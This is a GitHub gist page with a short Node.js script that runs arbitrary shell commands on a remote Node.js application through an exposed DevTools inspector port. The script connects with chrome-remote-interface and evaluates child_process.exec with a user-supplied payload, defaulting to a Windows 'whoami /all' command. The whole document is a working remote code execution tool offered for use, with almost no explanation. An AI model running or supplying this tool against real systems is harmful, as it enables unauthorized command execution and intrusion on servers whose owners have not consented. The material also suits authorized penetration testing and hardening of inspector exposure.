Skip to content

Instantly share code, notes, and snippets.

@jupenur
Created February 22, 2019 18:26
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save jupenur/2e4061c39f71dac16aa8f64afc70d572 to your computer and use it in GitHub Desktop.
Save jupenur/2e4061c39f71dac16aa8f64afc70d572 to your computer and use it in GitHub Desktop.
#!/usr/bin/env node
/**
* Execute shell commands remotely in Node.js apps via the DevTools protocol
*
* Setup:
* npm install chrome-remote-interface
* chmod +x node-dev-exec.js
*
* Usage:
* ./node-dev-exec.js <host> <port> [<payload>]
*/
if (process.argv.length < 4 || process.argv.length > 5) {
console.log(`Usage: ${process.argv[1]} <host> <port> [<payload>]`);
process.exit(1);
}
let host = process.argv[2];
let port = process.argv[3];
let expression = `process.mainModule.require('child_process').exec(${
JSON.stringify(process.argv[4] || 'start cmd /k whoami /all' )
})`;
const CDP = require('chrome-remote-interface');
CDP({ host, port }, async client => {
client.Runtime.evaluate({ expression });
client.close();
});
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment